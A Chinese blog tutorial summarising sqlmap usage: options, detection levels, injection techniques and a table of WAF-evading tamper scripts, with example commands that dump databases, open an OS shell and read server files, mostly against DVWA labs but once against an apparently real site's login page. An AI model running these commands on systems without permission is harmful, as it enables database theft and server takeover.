sqlmap简单用法

sqlmap简单用法

-f #指纹判别数据库类型

-b #获取数据库版本信息

-U #指定数据库用户

–dbms #指定数据库(MySQL,Oracle)
–os #指定系统(Linux,Windows)
--delay 延迟的时间

–os-shell #系统交互shell

探测等级: --level 5
--level 5 指的是需要执行的测试等级
一共有5个等级(1-5) 不加 level 时,默认是1
5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。
level=2 http cookie会测试
level=3 http user-agent/referer头会测试
在不能确定哪个payload或参数为注入点时,建议使用高的level值。

-v VERBOSE(测试结果的信息复杂度) #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

--thread 设置线程,sqlmap可以设置最大的线程数为10

例:

python2 sqlmap.py -u "http://192.168.73.133/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=low; PHPSESSID=ramq7vv28q2mbgt219a2pnbnk0" --current-db

注入通过post提交id查询。
1.使用burpSuite拦截post包,复制下数据包为a.txt
2.sqlmap -r a.txt -p 参数 --batch 默认选择 --dump-all 直接爆破所有
例如
sqlmap -r a.txt -p username --batch --dump-all
3.或者指定参数也可以  
sqlmap -u http://vip.fj0730.cn/login.asp --data "userid=aaa&passwd=bbbb"
sqlmap Techniques

--technique BQTUES

指定sqlmap使用的检测技术,默认情况下会测试所有的方式。

B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)

tamper脚本利用
sqlmap -u [url] --tamper=apostrophemask


常用脚本:
网址:https://www.cnblogs.com/mark0/p/12349551.html

脚本名称	作用
apostrophemask.py	用utf8代替引号
equaltolike.py	like 代替等号
space2dash.py	绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py	绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py	空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py	绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py	当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py	空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py	在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py	绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py	空格替换为其它空符号
base64encode.py	用base64编码替换
space2mssqlhash.py	替换空格
modsecurityversioned.py	过滤空格,包含完整的查询版本注释
space2mysqlblank.py	空格替换其它空白符号(mysql)
between.py	用between替换大于号(>)
space2mysqldash.py	替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py	围绕SQL关键字添加多个空格
space2plus.py	用+替换空格
bluecoat.py	代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py	取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py	代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py	追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py	双url编码(不处理以编码的)
unionalltounion.py	替换UNION ALL SELECT UNION SELECT
charencode.py	url编码
randomcase.py	随机大小写
unmagicquotes.py	宽字符绕过 GPC addslashes
randomcomments.py	用/**/分割sql关键字
charunicodeencode.py	字符串 unicode 编码
securesphere.py	追加特制的字符串
versionedmorekeywords.py	注释绕过
space2comment.py	Replaces space character (‘ ‘) with comments ‘/**/’
一些妙用
• 避免过多的错误请求被屏蔽 参数:--safe-url,--safe-freq
• 二阶SQL注入 参数:--second-order
• 从数据库服务器中读取文件 参数:--file-read
• 把文件上传到数据库服务器中 参数:--file-write,--file-dest
• 爬行网站URL 参数:--crawl
• 非交互模式 参数:--batch
• 测试WAF/IPS/IDS保护 参数:--identify-waf
• 启发式判断注入
参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)

sqlmap getshell

命令补充:

sqlmap读取与写入文件

–file-read :从后端的数据库管理系统文件系统读取文件
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master-BGW/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=msk57r8b3ma9m7gtciqdo2uao1" -file-read "/etc/php/7.3/apache2/php.ini"

–file-write:编辑后端的数据库管理系统文件系统上的本地文件(从本地写入)

–file-dest :后端的数据库管理系统写入文件的绝对路径 (写入目标路径)

     可以用以上几个命令对SQL注入后的系统文件进行读写,但是前提条件是需要有可读可写的权限并且为dba权限,否则无法成功进行读写操作。
作者:hkb
本文版权归作者和博客园共有,欢迎转载,但必须给出原文链接,并保留此段声明,否则保留追究法律责任的权利。
原文地址:https://www.cnblogs.com/kbhome/p/12791937.html